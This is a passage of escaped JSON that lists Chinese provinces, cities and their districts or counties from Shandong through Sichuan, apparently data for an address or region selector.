"},{\"s\":\"利津县\"},{\"s\":\"广饶县\"}]},{\"n\":\"烟台\",\"a\":[{\"s\":\"芝罘区\"},{\"s\":\"福山区\"},{\"s\":\"牟平区\"},{\"s\":\"莱山区\"},{\"s\":\"长岛县\"},{\"s\":\"龙口市\"},{\"s\":\"莱阳市\"},{\"s\":\"莱州市\"},{\"s\":\"蓬莱市\"},{\"s\":\"招远市\"},{\"s\":\"栖霞市\"},{\"s\":\"海阳市\"}]},{\"n\":\"潍坊\",\"a\":[{\"s\":\"潍城区\"},{\"s\":\"寒亭区\"},{\"s\":\"坊子区\"},{\"s\":\"奎文区\"},{\"s\":\"临朐县\"},{\"s\":\"昌乐县\"},{\"s\":\"青州市\"},{\"s\":\"诸城市\"},{\"s\":\"寿光市\"},{\"s\":\"安丘市\"},{\"s\":\"高密市\"},{\"s\":\"昌邑市\"}]},{\"n\":\"济宁\",\"a\":[{\"s\":\"市中区\"},{\"s\":\"任城区\"},{\"s\":\"微山县\"},{\"s\":\"鱼台县\"},{\"s\":\"金乡县\"},{\"s\":\"嘉祥县\"},{\"s\":\"汶上县\"},{\"s\":\"泗水县\"},{\"s\":\"梁山县\"},{\"s\":\"曲阜市\"},{\"s\":\"兖州市\"},{\"s\":\"邹城市\"}]},{\"n\":\"泰安\",\"a\":[{\"s\":\"泰山区\"},{\"s\":\"岱岳区\"},{\"s\":\"宁阳县\"},{\"s\":\"东平县\"},{\"s\":\"新泰市\"},{\"s\":\"肥城市\"}]},{\"n\":\"威海\",\"a\":[{\"s\":\"环翠区\"},{\"s\":\"文登市\"},{\"s\":\"荣成市\"},{\"s\":\"乳山市\"}]},{\"n\":\"日照\",\"a\":[{\"s\":\"东港区\"},{\"s\":\"岚山区\"},{\"s\":\"五莲县\"},{\"s\":\"莒县\"}]},{\"n\":\"莱芜\",\"a\":[{\"s\":\"莱城区\"},{\"s\":\"钢城区\"}]},{\"n\":\"临沂\",\"a\":[{\"s\":\"兰山区\"},{\"s\":\"罗庄区\"},{\"s\":\"河东区\"},{\"s\":\"沂南县\"},{\"s\":\"郯城县\"},{\"s\":\"沂水县\"},{\"s\":\"苍山县\"},{\"s\":\"费县\"},{\"s\":\"平邑县\"},{\"s\":\"莒南县\"},{\"s\":\"蒙阴县\"},{\"s\":\"临沭县\"}]},{\"n\":\"德州\",\"a\":[{\"s\":\"德城区\"},{\"s\":\"陵县\"},{\"s\":\"宁津县\"},{\"s\":\"庆云县\"},{\"s\":\"临邑县\"},{\"s\":\"齐河县\"},{\"s\":\"平原县\"},{\"s\":\"夏津县\"},{\"s\":\"武城县\"},{\"s\":\"乐陵市\"},{\"s\":\"禹城市\"}]},{\"n\":\"聊城\",\"a\":[{\"s\":\"东昌府区\"},{\"s\":\"阳谷县\"},{\"s\":\"莘县\"},{\"s\":\"茌平县\"},{\"s\":\"东阿县\"},{\"s\":\"冠县\"},{\"s\":\"高唐县\"},{\"s\":\"临清市\"}]},{\"n\":\"滨州\",\"a\":[{\"s\":\"滨城区\"},{\"s\":\"惠民县\"},{\"s\":\"阳信县\"},{\"s\":\"无棣县\"},{\"s\":\"沾化县\"},{\"s\":\"博兴县\"},{\"s\":\"邹平县\"}]},{\"n\":\"菏泽\",\"a\":[{\"s\":\"牡丹区\"},{\"s\":\"曹县\"},{\"s\":\"单县\"},{\"s\":\"成武县\"},{\"s\":\"巨野县\"},{\"s\":\"郓城县\"},{\"s\":\"鄄城县\"},{\"s\":\"定陶县\"},{\"s\":\"东明县\"}]}]},{\"p\":\"河南省\",\"c\":[{\"n\":\"郑州\",\"a\":[{\"s\":\"中原区\"},{\"s\":\"二七区\"},{\"s\":\"管城回族区\"},{\"s\":\"金水区\"},{\"s\":\"上街区\"},{\"s\":\"惠济区\"},{\"s\":\"中牟县\"},{\"s\":\"巩义市\"},{\"s\":\"荥阳市\"},{\"s\":\"新密市\"},{\"s\":\"新郑市\"},{\"s\":\"登封市\"}]},{\"n\":\"开封\",\"a\":[{\"s\":\"龙亭区\"},{\"s\":\"顺河回族区\"},{\"s\":\"鼓楼区\"},{\"s\":\"禹王台区\"},{\"s\":\"金明区\"},{\"s\":\"杞县\"},{\"s\":\"通许县\"},{\"s\":\"尉氏县\"},{\"s\":\"开封县\"},{\"s\":\"兰考县\"}]},{\"n\":\"洛阳\",\"a\":[{\"s\":\"老城区\"},{\"s\":\"西工区\"},{\"s\":\"廛河回族区\"},{\"s\":\"涧西区\"},{\"s\":\"吉利区\"},{\"s\":\"洛龙区\"},{\"s\":\"孟津县\"},{\"s\":\"新安县\"},{\"s\":\"栾川县\"},{\"s\":\"嵩县\"},{\"s\":\"汝阳县\"},{\"s\":\"宜阳县\"},{\"s\":\"洛宁县\"},{\"s\":\"伊川县\"},{\"s\":\"偃师市\"}]},{\"n\":\"平顶山\",\"a\":[{\"s\":\"新华区\"},{\"s\":\"卫东区\"},{\"s\":\"石龙区\"},{\"s\":\"湛河区\"},{\"s\":\"宝丰县\"},{\"s\":\"叶县\"},{\"s\":\"鲁山县\"},{\"s\":\"郏县\"},{\"s\":\"舞钢市\"},{\"s\":\"汝州市\"}]},{\"n\":\"安阳\",\"a\":[{\"s\":\"文峰区\"},{\"s\":\"北关区\"},{\"s\":\"殷都区\"},{\"s\":\"龙安区\"},{\"s\":\"安阳县\"},{\"s\":\"汤阴县\"},{\"s\":\"滑县\"},{\"s\":\"内黄县\"},{\"s\":\"林州市\"}]},{\"n\":\"鹤壁\",\"a\":[{\"s\":\"鹤山区\"},{\"s\":\"山城区\"},{\"s\":\"淇滨区\"},{\"s\":\"浚县\"},{\"s\":\"淇县\"}]},{\"n\":\"新乡\",\"a\":[{\"s\":\"红旗区\"},{\"s\":\"卫滨区\"},{\"s\":\"凤泉区\"},{\"s\":\"牧野区\"},{\"s\":\"新乡县\"},{\"s\":\"获嘉县\"},{\"s\":\"原阳县\"},{\"s\":\"延津县\"},{\"s\":\"封丘县\"},{\"s\":\"长垣县\"},{\"s\":\"卫辉市\"},{\"s\":\"辉县市\"}]},{\"n\":\"焦作\",\"a\":[{\"s\":\"解放区\"},{\"s\":\"中站区\"},{\"s\":\"马村区\"},{\"s\":\"山阳区\"},{\"s\":\"修武县\"},{\"s\":\"博爱县\"},{\"s\":\"武陟县\"},{\"s\":\"温县\"},{\"s\":\"沁阳市\"},{\"s\":\"孟州市\"}]},{\"n\":\"濮阳\",\"a\":[{\"s\":\"华龙区\"},{\"s\":\"清丰县\"},{\"s\":\"南乐县\"},{\"s\":\"范县\"},{\"s\":\"台前县\"},{\"s\":\"濮阳县\"}]},{\"n\":\"许昌\",\"a\":[{\"s\":\"魏都区\"},{\"s\":\"许昌县\"},{\"s\":\"鄢陵县\"},{\"s\":\"襄城县\"},{\"s\":\"禹州市\"},{\"s\":\"长葛市\"}]},{\"n\":\"漯河\",\"a\":[{\"s\":\"源汇区\"},{\"s\":\"郾城区\"},{\"s\":\"召陵区\"},{\"s\":\"舞阳县\"},{\"s\":\"临颍县\"}]},{\"n\":\"三门峡\",\"a\":[{\"s\":\"湖滨区\"},{\"s\":\"渑池县\"},{\"s\":\"陕县\"},{\"s\":\"卢氏县\"},{\"s\":\"义马市\"},{\"s\":\"灵宝市\"}]},{\"n\":\"南阳\",\"a\":[{\"s\":\"宛城区\"},{\"s\":\"卧龙区\"},{\"s\":\"南召县\"},{\"s\":\"方城县\"},{\"s\":\"西峡县\"},{\"s\":\"镇平县\"},{\"s\":\"内乡县\"},{\"s\":\"淅川县\"},{\"s\":\"社旗县\"},{\"s\":\"唐河县\"},{\"s\":\"新野县\"},{\"s\":\"桐柏县\"},{\"s\":\"邓州市\"}]},{\"n\":\"商丘\",\"a\":[{\"s\":\"梁园区\"},{\"s\":\"睢阳区\"},{\"s\":\"民权县\"},{\"s\":\"睢县\"},{\"s\":\"宁陵县\"},{\"s\":\"柘城县\"},{\"s\":\"虞城县\"},{\"s\":\"夏邑县\"},{\"s\":\"永城市\"}]},{\"n\":\"信阳\",\"a\":[{\"s\":\"浉河区\"},{\"s\":\"平桥区\"},{\"s\":\"罗山县\"},{\"s\":\"光山县\"},{\"s\":\"新县\"},{\"s\":\"商城县\"},{\"s\":\"固始县\"},{\"s\":\"潢川县\"},{\"s\":\"淮滨县\"},{\"s\":\"息县\"}]},{\"n\":\"周口\",\"a\":[{\"s\":\"川汇区\"},{\"s\":\"扶沟县\"},{\"s\":\"西华县\"},{\"s\":\"商水县\"},{\"s\":\"沈丘县\"},{\"s\":\"郸城县\"},{\"s\":\"淮阳县\"},{\"s\":\"太康县\"},{\"s\":\"鹿邑县\"},{\"s\":\"项城市\"}]},{\"n\":\"驻马店\",\"a\":[{\"s\":\"驿城区\"},{\"s\":\"西平县\"},{\"s\":\"上蔡县\"},{\"s\":\"平舆县\"},{\"s\":\"正阳县\"},{\"s\":\"确山县\"},{\"s\":\"泌阳县\"},{\"s\":\"汝南县\"},{\"s\":\"遂平县\"},{\"s\":\"新蔡县\"}]},{\"n\":\"济源\",\"a\":[{\"s\":\"济源\"}]}]},{\"p\":\"湖北省\",\"c\":[{\"n\":\"武汉\",\"a\":[{\"s\":\"江岸区\"},{\"s\":\"江汉区\"},{\"s\":\"硚口区\"},{\"s\":\"汉阳区\"},{\"s\":\"武昌区\"},{\"s\":\"青山区\"},{\"s\":\"洪山区\"},{\"s\":\"东西湖区\"},{\"s\":\"汉南区\"},{\"s\":\"蔡甸区\"},{\"s\":\"江夏区\"},{\"s\":\"黄陂区\"},{\"s\":\"新洲区\"}]},{\"n\":\"黄石\",\"a\":[{\"s\":\"黄石港区\"},{\"s\":\"西塞山区\"},{\"s\":\"下陆区\"},{\"s\":\"铁山区\"},{\"s\":\"阳新县\"},{\"s\":\"大冶市\"}]},{\"n\":\"十堰\",\"a\":[{\"s\":\"茅箭区\"},{\"s\":\"张湾区\"},{\"s\":\"郧县\"},{\"s\":\"郧西县\"},{\"s\":\"竹山县\"},{\"s\":\"竹溪县\"},{\"s\":\"房县\"},{\"s\":\"丹江口市\"}]},{\"n\":\"宜昌\",\"a\":[{\"s\":\"西陵区\"},{\"s\":\"伍家岗区\"},{\"s\":\"点军区\"},{\"s\":\"猇亭区\"},{\"s\":\"夷陵区\"},{\"s\":\"远安县\"},{\"s\":\"兴山县\"},{\"s\":\"秭归县\"},{\"s\":\"长阳土家族自治县\"},{\"s\":\"五峰土家族自治县\"},{\"s\":\"宜都市\"},{\"s\":\"当阳市\"},{\"s\":\"枝江市\"}]},{\"n\":\"襄樊\",\"a\":[{\"s\":\"襄城区\"},{\"s\":\"樊城区\"},{\"s\":\"襄阳区\"},{\"s\":\"南漳县\"},{\"s\":\"谷城县\"},{\"s\":\"保康县\"},{\"s\":\"老河口市\"},{\"s\":\"枣阳市\"},{\"s\":\"宜城市\"}]},{\"n\":\"鄂州\",\"a\":[{\"s\":\"梁子湖区\"},{\"s\":\"华容区\"},{\"s\":\"鄂城区\"}]},{\"n\":\"荆门\",\"a\":[{\"s\":\"东宝区\"},{\"s\":\"掇刀区\"},{\"s\":\"京山县\"},{\"s\":\"沙洋县\"},{\"s\":\"钟祥市\"}]},{\"n\":\"孝感\",\"a\":[{\"s\":\"孝南区\"},{\"s\":\"孝昌县\"},{\"s\":\"大悟县\"},{\"s\":\"云梦县\"},{\"s\":\"应城市\"},{\"s\":\"安陆市\"},{\"s\":\"汉川市\"}]},{\"n\":\"荆州\",\"a\":[{\"s\":\"沙市区\"},{\"s\":\"荆州区\"},{\"s\":\"公安县\"},{\"s\":\"监利县\"},{\"s\":\"江陵县\"},{\"s\":\"石首市\"},{\"s\":\"洪湖市\"},{\"s\":\"松滋市\"}]},{\"n\":\"黄冈\",\"a\":[{\"s\":\"黄州区\"},{\"s\":\"团风县\"},{\"s\":\"红安县\"},{\"s\":\"罗田县\"},{\"s\":\"英山县\"},{\"s\":\"浠水县\"},{\"s\":\"蕲春县\"},{\"s\":\"黄梅县\"},{\"s\":\"麻城市\"},{\"s\":\"武穴市\"}]},{\"n\":\"咸宁\",\"a\":[{\"s\":\"咸安区\"},{\"s\":\"嘉鱼县\"},{\"s\":\"通城县\"},{\"s\":\"崇阳县\"},{\"s\":\"通山县\"},{\"s\":\"赤壁市\"}]},{\"n\":\"随州\",\"a\":[{\"s\":\"曾都区\"},{\"s\":\"随县\"},{\"s\":\"广水市\"}]},{\"n\":\"恩施\",\"a\":[{\"s\":\"恩施市\"},{\"s\":\"利川市\"},{\"s\":\"建始县\"},{\"s\":\"巴东县\"},{\"s\":\"宣恩县\"},{\"s\":\"咸丰县\"},{\"s\":\"来凤县\"},{\"s\":\"鹤峰县\"}]},{\"n\":\"仙桃\",\"a\":[{\"s\":\"仙桃\"}]},{\"n\":\"潜江\",\"a\":[{\"s\":\"潜江\"}]},{\"n\":\"天门\",\"a\":[{\"s\":\"天门\"}]},{\"n\":\"神农架\",\"a\":[{\"s\":\"神农架\"}]}]},{\"p\":\"湖南省\",\"c\":[{\"n\":\"长沙\",\"a\":[{\"s\":\"芙蓉区\"},{\"s\":\"天心区\"},{\"s\":\"岳麓区\"},{\"s\":\"开福区\"},{\"s\":\"雨花区\"},{\"s\":\"长沙县\"},{\"s\":\"望城县\"},{\"s\":\"宁乡县\"},{\"s\":\"浏阳市\"}]},{\"n\":\"株洲\",\"a\":[{\"s\":\"荷塘区\"},{\"s\":\"芦淞区\"},{\"s\":\"石峰区\"},{\"s\":\"天元区\"},{\"s\":\"株洲县\"},{\"s\":\"攸县\"},{\"s\":\"茶陵县\"},{\"s\":\"炎陵县\"},{\"s\":\"醴陵市\"}]},{\"n\":\"湘潭\",\"a\":[{\"s\":\"雨湖区\"},{\"s\":\"岳塘区\"},{\"s\":\"湘潭县\"},{\"s\":\"湘乡市\"},{\"s\":\"韶山市\"}]},{\"n\":\"衡阳\",\"a\":[{\"s\":\"珠晖区\"},{\"s\":\"雁峰区\"},{\"s\":\"石鼓区\"},{\"s\":\"蒸湘区\"},{\"s\":\"南岳区\"},{\"s\":\"衡阳县\"},{\"s\":\"衡南县\"},{\"s\":\"衡山县\"},{\"s\":\"衡东县\"},{\"s\":\"祁东县\"},{\"s\":\"耒阳市\"},{\"s\":\"常宁市\"}]},{\"n\":\"邵阳\",\"a\":[{\"s\":\"双清区\"},{\"s\":\"大祥区\"},{\"s\":\"北塔区\"},{\"s\":\"邵东县\"},{\"s\":\"新邵县\"},{\"s\":\"邵阳县\"},{\"s\":\"隆回县\"},{\"s\":\"洞口县\"},{\"s\":\"绥宁县\"},{\"s\":\"新宁县\"},{\"s\":\"城步苗族自治县\"},{\"s\":\"武冈市\"}]},{\"n\":\"岳阳\",\"a\":[{\"s\":\"岳阳楼区\"},{\"s\":\"云溪区\"},{\"s\":\"君山区\"},{\"s\":\"岳阳县\"},{\"s\":\"华容县\"},{\"s\":\"湘阴县\"},{\"s\":\"平江县\"},{\"s\":\"汨罗市\"},{\"s\":\"临湘市\"}]},{\"n\":\"常德\",\"a\":[{\"s\":\"武陵区\"},{\"s\":\"鼎城区\"},{\"s\":\"安乡县\"},{\"s\":\"汉寿县\"},{\"s\":\"澧县\"},{\"s\":\"临澧县\"},{\"s\":\"桃源县\"},{\"s\":\"石门县\"},{\"s\":\"津市市\"}]},{\"n\":\"张家界\",\"a\":[{\"s\":\"永定区\"},{\"s\":\"武陵源区\"},{\"s\":\"慈利县\"},{\"s\":\"桑植县\"}]},{\"n\":\"益阳\",\"a\":[{\"s\":\"资阳区\"},{\"s\":\"赫山区\"},{\"s\":\"南县\"},{\"s\":\"桃江县\"},{\"s\":\"安化县\"},{\"s\":\"沅江市\"}]},{\"n\":\"郴州\",\"a\":[{\"s\":\"北湖区\"},{\"s\":\"苏仙区\"},{\"s\":\"桂阳县\"},{\"s\":\"宜章县\"},{\"s\":\"永兴县\"},{\"s\":\"嘉禾县\"},{\"s\":\"临武县\"},{\"s\":\"汝城县\"},{\"s\":\"桂东县\"},{\"s\":\"安仁县\"},{\"s\":\"资兴市\"}]},{\"n\":\"永州\",\"a\":[{\"s\":\"零陵区\"},{\"s\":\"冷水滩区\"},{\"s\":\"祁阳县\"},{\"s\":\"东安县\"},{\"s\":\"双牌县\"},{\"s\":\"道县\"},{\"s\":\"江永县\"},{\"s\":\"宁远县\"},{\"s\":\"蓝山县\"},{\"s\":\"新田县\"},{\"s\":\"江华瑶族自治县\"}]},{\"n\":\"怀化\",\"a\":[{\"s\":\"鹤城区\"},{\"s\":\"中方县\"},{\"s\":\"沅陵县\"},{\"s\":\"辰溪县\"},{\"s\":\"溆浦县\"},{\"s\":\"会同县\"},{\"s\":\"麻阳苗族自治县\"},{\"s\":\"新晃侗族自治县\"},{\"s\":\"芷江侗族自治县\"},{\"s\":\"靖州苗族侗族自治县\"},{\"s\":\"通道侗族自治县\"},{\"s\":\"洪江市\"}]},{\"n\":\"娄底\",\"a\":[{\"s\":\"娄星区\"},{\"s\":\"双峰县\"},{\"s\":\"新化县\"},{\"s\":\"冷水江市\"},{\"s\":\"涟源市\"}]},{\"n\":\"湘西\",\"a\":[{\"s\":\"吉首市\"},{\"s\":\"泸溪县\"},{\"s\":\"凤凰县\"},{\"s\":\"花垣县\"},{\"s\":\"保靖县\"},{\"s\":\"古丈县\"},{\"s\":\"永顺县\"},{\"s\":\"龙山县\"}]}]},{\"p\":\"广东省\",\"c\":[{\"n\":\"广州\",\"a\":[{\"s\":\"荔湾区\"},{\"s\":\"越秀区\"},{\"s\":\"海珠区\"},{\"s\":\"天河区\"},{\"s\":\"白云区\"},{\"s\":\"黄埔区\"},{\"s\":\"番禺区\"},{\"s\":\"花都区\"},{\"s\":\"南沙区\"},{\"s\":\"萝岗区\"},{\"s\":\"增城市\"},{\"s\":\"从化市\"}]},{\"n\":\"韶关\",\"a\":[{\"s\":\"武江区\"},{\"s\":\"浈江区\"},{\"s\":\"曲江区\"},{\"s\":\"始兴县\"},{\"s\":\"仁化县\"},{\"s\":\"翁源县\"},{\"s\":\"乳源瑶族自治县\"},{\"s\":\"新丰县\"},{\"s\":\"乐昌市\"},{\"s\":\"南雄市\"}]},{\"n\":\"深圳市\",\"a\":[{\"s\":\"罗湖区\"},{\"s\":\"福田区\"},{\"s\":\"南山区\"},{\"s\":\"宝安区\"},{\"s\":\"龙岗区\"},{\"s\":\"盐田区\"}]},{\"n\":\"珠海\",\"a\":[{\"s\":\"香洲区\"},{\"s\":\"斗门区\"},{\"s\":\"金湾区\"}]},{\"n\":\"汕头\",\"a\":[{\"s\":\"龙湖区\"},{\"s\":\"金平区\"},{\"s\":\"濠江区\"},{\"s\":\"潮阳区\"},{\"s\":\"潮南区\"},{\"s\":\"澄海区\"},{\"s\":\"南澳县\"}]},{\"n\":\"佛山\",\"a\":[{\"s\":\"禅城区\"},{\"s\":\"南海区\"},{\"s\":\"顺德区\"},{\"s\":\"三水区\"},{\"s\":\"高明区\"}]},{\"n\":\"江门\",\"a\":[{\"s\":\"蓬江区\"},{\"s\":\"江海区\"},{\"s\":\"新会区\"},{\"s\":\"台山市\"},{\"s\":\"开平市\"},{\"s\":\"鹤山市\"},{\"s\":\"恩平市\"}]},{\"n\":\"湛江\",\"a\":[{\"s\":\"赤坎区\"},{\"s\":\"霞山区\"},{\"s\":\"坡头区\"},{\"s\":\"麻章区\"},{\"s\":\"遂溪县\"},{\"s\":\"徐闻县\"},{\"s\":\"廉江市\"},{\"s\":\"雷州市\"},{\"s\":\"吴川市\"}]},{\"n\":\"茂名\",\"a\":[{\"s\":\"茂南区\"},{\"s\":\"茂港区\"},{\"s\":\"电白县\"},{\"s\":\"高州市\"},{\"s\":\"化州市\"},{\"s\":\"信宜市\"}]},{\"n\":\"肇庆\",\"a\":[{\"s\":\"端州区\"},{\"s\":\"鼎湖区\"},{\"s\":\"广宁县\"},{\"s\":\"怀集县\"},{\"s\":\"封开县\"},{\"s\":\"德庆县\"},{\"s\":\"高要市\"},{\"s\":\"四会市\"}]},{\"n\":\"惠州\",\"a\":[{\"s\":\"惠城区\"},{\"s\":\"惠阳区\"},{\"s\":\"博罗县\"},{\"s\":\"惠东县\"},{\"s\":\"龙门县\"}]},{\"n\":\"梅州\",\"a\":[{\"s\":\"梅江区\"},{\"s\":\"梅县\"},{\"s\":\"大埔县\"},{\"s\":\"丰顺县\"},{\"s\":\"五华县\"},{\"s\":\"平远县\"},{\"s\":\"蕉岭县\"},{\"s\":\"兴宁市\"}]},{\"n\":\"汕尾\",\"a\":[{\"s\":\"城区\"},{\"s\":\"海丰县\"},{\"s\":\"陆河县\"},{\"s\":\"陆丰市\"}]},{\"n\":\"河源\",\"a\":[{\"s\":\"源城区\"},{\"s\":\"紫金县\"},{\"s\":\"龙川县\"},{\"s\":\"连平县\"},{\"s\":\"和平县\"},{\"s\":\"东源县\"}]},{\"n\":\"阳江\",\"a\":[{\"s\":\"江城区\"},{\"s\":\"阳西县\"},{\"s\":\"阳东县\"},{\"s\":\"阳春市\"}]},{\"n\":\"清远\",\"a\":[{\"s\":\"清城区\"},{\"s\":\"佛冈县\"},{\"s\":\"阳山县\"},{\"s\":\"连山壮族瑶族自治县\"},{\"s\":\"连南瑶族自治县\"},{\"s\":\"清新县\"},{\"s\":\"英德市\"},{\"s\":\"连州市\"}]},{\"n\":\"东莞\",\"a\":[{\"s\":\"东莞市\"}]},{\"n\":\"中山\",\"a\":[{\"s\":\"中山市\"}]},{\"n\":\"潮州\",\"a\":[{\"s\":\"湘桥区\"},{\"s\":\"潮安县\"},{\"s\":\"饶平县\"}]},{\"n\":\"揭阳\",\"a\":[{\"s\":\"榕城区\"},{\"s\":\"揭东县\"},{\"s\":\"揭西县\"},{\"s\":\"惠来县\"},{\"s\":\"普宁市\"}]},{\"n\":\"云浮\",\"a\":[{\"s\":\"云城区\"},{\"s\":\"新兴县\"},{\"s\":\"郁南县\"},{\"s\":\"云安县\"},{\"s\":\"罗定市\"}]}]},{\"p\":\"广西省\",\"c\":[{\"n\":\"南宁\",\"a\":[{\"s\":\"兴宁区\"},{\"s\":\"青秀区\"},{\"s\":\"江南区\"},{\"s\":\"西乡塘区\"},{\"s\":\"良庆区\"},{\"s\":\"邕宁区\"},{\"s\":\"武鸣县\"},{\"s\":\"隆安县\"},{\"s\":\"马山县\"},{\"s\":\"上林县\"},{\"s\":\"宾阳县\"},{\"s\":\"横县\"}]},{\"n\":\"柳州\",\"a\":[{\"s\":\"城中区\"},{\"s\":\"鱼峰区\"},{\"s\":\"柳南区\"},{\"s\":\"柳北区\"},{\"s\":\"柳江县\"},{\"s\":\"柳城县\"},{\"s\":\"鹿寨县\"},{\"s\":\"融安县\"},{\"s\":\"融水苗族自治县\"},{\"s\":\"三江侗族自治县\"}]},{\"n\":\"桂林\",\"a\":[{\"s\":\"秀峰区\"},{\"s\":\"叠彩区\"},{\"s\":\"象山区\"},{\"s\":\"七星区\"},{\"s\":\"雁山区\"},{\"s\":\"阳朔县\"},{\"s\":\"临桂县\"},{\"s\":\"灵川县\"},{\"s\":\"全州县\"},{\"s\":\"兴安县\"},{\"s\":\"永福县\"},{\"s\":\"灌阳县\"},{\"s\":\"龙胜各族自治县\"},{\"s\":\"资源县\"},{\"s\":\"平乐县\"},{\"s\":\"荔蒲县\"},{\"s\":\"恭城瑶族自治县\"}]},{\"n\":\"梧州\",\"a\":[{\"s\":\"万秀区\"},{\"s\":\"蝶山区\"},{\"s\":\"长洲区\"},{\"s\":\"苍梧县\"},{\"s\":\"藤县\"},{\"s\":\"蒙山县\"},{\"s\":\"岑溪市\"}]},{\"n\":\"北海\",\"a\":[{\"s\":\"海城区\"},{\"s\":\"银海区\"},{\"s\":\"铁山港区\"},{\"s\":\"合浦县\"}]},{\"n\":\"防城港\",\"a\":[{\"s\":\"港口区\"},{\"s\":\"防城区\"},{\"s\":\"上思县\"},{\"s\":\"东兴市\"}]},{\"n\":\"钦州\",\"a\":[{\"s\":\"钦南区\"},{\"s\":\"钦北区\"},{\"s\":\"灵山县\"},{\"s\":\"浦北县\"}]},{\"n\":\"贵港\",\"a\":[{\"s\":\"港北区\"},{\"s\":\"港南区\"},{\"s\":\"覃塘区\"},{\"s\":\"平南县\"},{\"s\":\"桂平市\"}]},{\"n\":\"玉林\",\"a\":[{\"s\":\"玉州区\"},{\"s\":\"容县\"},{\"s\":\"陆川县\"},{\"s\":\"博白县\"},{\"s\":\"兴业县\"},{\"s\":\"北流市\"}]},{\"n\":\"百色\",\"a\":[{\"s\":\"右江区\"},{\"s\":\"田阳县\"},{\"s\":\"田东县\"},{\"s\":\"平果县\"},{\"s\":\"德保县\"},{\"s\":\"靖西县\"},{\"s\":\"那坡县\"},{\"s\":\"凌云县\"},{\"s\":\"乐业县\"},{\"s\":\"田林县\"},{\"s\":\"西林县\"},{\"s\":\"隆林各族自治县\"}]},{\"n\":\"贺州\",\"a\":[{\"s\":\"八步区\"},{\"s\":\"昭平县\"},{\"s\":\"钟山县\"},{\"s\":\"富川瑶族自治县\"}]},{\"n\":\"河池\",\"a\":[{\"s\":\"金城江区\"},{\"s\":\"南丹县\"},{\"s\":\"天峨县\"},{\"s\":\"凤山县\"},{\"s\":\"东兰县\"},{\"s\":\"罗城仫佬族自治县\"},{\"s\":\"环江毛南族自治县\"},{\"s\":\"巴马瑶族自治县\"},{\"s\":\"都安瑶族自治县\"},{\"s\":\"大化瑶族自治县\"},{\"s\":\"宜州市\"}]},{\"n\":\"来宾\",\"a\":[{\"s\":\"兴宾区\"},{\"s\":\"忻城县\"},{\"s\":\"象州县\"},{\"s\":\"武宣县\"},{\"s\":\"金秀瑶族自治县\"},{\"s\":\"合山市\"}]},{\"n\":\"崇左\",\"a\":[{\"s\":\"江洲区\"},{\"s\":\"扶绥县\"},{\"s\":\"宁明县\"},{\"s\":\"龙州县\"},{\"s\":\"大新县\"},{\"s\":\"天等县\"},{\"s\":\"凭祥市\"}]}]},{\"p\":\"海南省\",\"c\":[{\"n\":\"海口\",\"a\":[{\"s\":\"秀英区\"},{\"s\":\"龙华区\"},{\"s\":\"琼山区\"},{\"s\":\"美兰区\"}]},{\"n\":\"三亚\",\"a\":[{\"s\":\"三亚市\"}]},{\"n\":\"五指山\",\"a\":[{\"s\":\"五指山\"}]},{\"n\":\"琼海\",\"a\":[{\"s\":\"琼海\"}]},{\"n\":\"儋州\",\"a\":[{\"s\":\"儋州\"}]},{\"n\":\"文昌\",\"a\":[{\"s\":\"文昌\"}]},{\"n\":\"万宁\",\"a\":[{\"s\":\"万宁\"}]},{\"n\":\"东方\",\"a\":[{\"s\":\"东方\"}]}]},{\"p\":\"重庆市\",\"c\":[{\"n\":\"万州区\"},{\"n\":\"涪陵区\"},{\"n\":\"渝中区\"},{\"n\":\"大渡口区\"},{\"n\":\"江北区\"},{\"n\":\"沙坪坝区\"},{\"n\":\"九龙坡区\"},{\"n\":\"南岸区\"},{\"n\":\"北碚区\"},{\"n\":\"万盛区\"},{\"n\":\"双挢区\"},{\"n\":\"渝北区\"},{\"n\":\"巴南区\"},{\"n\":\"长寿区\"},{\"n\":\"綦江县\"},{\"n\":\"潼南县\"},{\"n\":\"铜梁县\"},{\"n\":\"大足县\"},{\"n\":\"荣昌县\"},{\"n\":\"壁山县\"},{\"n\":\"梁平县\"},{\"n\":\"城口县\"},{\"n\":\"丰都县\"},{\"n\":\"垫江县\"},{\"n\":\"武隆县\"},{\"n\":\"忠县\"},{\"n\":\"开县\"},{\"n\":\"云阳县\"},{\"n\":\"奉节县\"},{\"n\":\"巫山县\"},{\"n\":\"巫溪县\"},{\"n\":\"黔江区\"},{\"n\":\"石柱土家族自治县\"},{\"n\":\"秀山土家族苗族自治县\"},{\"n\":\"酉阳土家族苗族自治县\"},{\"n\":\"彭水苗族土家族自治县\"},{\"n\":\"江津区\"},{\"n\":\"合川区\"},{\"n\":\"永川区\"},{\"n\":\"南川区\"}]},{\"p\":\"四川省\",\"c\":[{\"n\":\"成都\",\"a\":[{\"s\":\"锦江区\"},{\"s\":\"青羊区\"},{\"s\":\"金牛区\"},{\"s\":\"武侯区\"},{\"s\":\"成华区\"},{\"s\":\"龙泉驿区\"},{\"s\":\"青白江区\"},{\"s\":\"新都区\"},{\"s\":\"温江区\"},{\"s\":\"金堂县\"},{\"s\":\"双流县\"},{\"s\":\"郫县\"},{\"s\":\"大邑县\"},{\"s\":\"蒲江县\"},{\"s\":\"新津县\"},{\"s\":\"都江堰市\"},{\"s\":\"彭州市\"},{\"s\":\"邛崃市\"},{\"s\":\"崇州市\"}]},{\"n\":\"自贡\",\"a\":[{\"s\":\"自流井区\"},{\"s\":\"贡井区\"},{\"s\":\"大安区\"},{\"s\":\"沿滩区\"},{\"s\":\"荣县\"},{\"s\":\"富顺县\"}]},{\"n\":\"攀枝花\",\"a\":[{\"s\":\"东区\"},{\"s\":\"西区\"},{\"s\":\"仁和区\"},{\"s\":\"米易县\"},{\"s\":\"盐边县\"}]},{\"n\":\"泸州\",\"a\":[{\"s\":\"江阳区\"},{\"s\":\"纳溪区\"},{\"s\":\"龙马潭区\"},{\"s\":\"泸县\"},{\"s\":\"合江县\"},{\"s\":\"叙永县\"},{\"s\":\"古蔺县\"}]},{\"n\":\"德阳\",\"a\":[{\"s\":\"旌阳区\"},{\"s\":\"中江县\"},{\"s\":\"罗江县\"},{\"s\":\"广汉市\"},{\"s\":\"什邡市\"},{\"s\":\"绵竹市\"}]},{\"n\":\"绵阳\",\"a\":[{\"s\":\"涪城区\"},{\"s\":\"游仙区\"},{\"s\":\"三台县\"},{\"s\":\"盐亭县\"},{\"s\":\"安县\"},{\"s\":\"梓潼县\"},{\"s\":\"北川羌族自治县\"},{\"s\":\"平武县\"},{\"s\":\"江油市\"}]},{\"n\":\"广元\",\"a\":[{\"s\":\"利州区\"},{\"s\":\"元坝区\"},{\"s\":\"朝天区\"},{\"s\":\"旺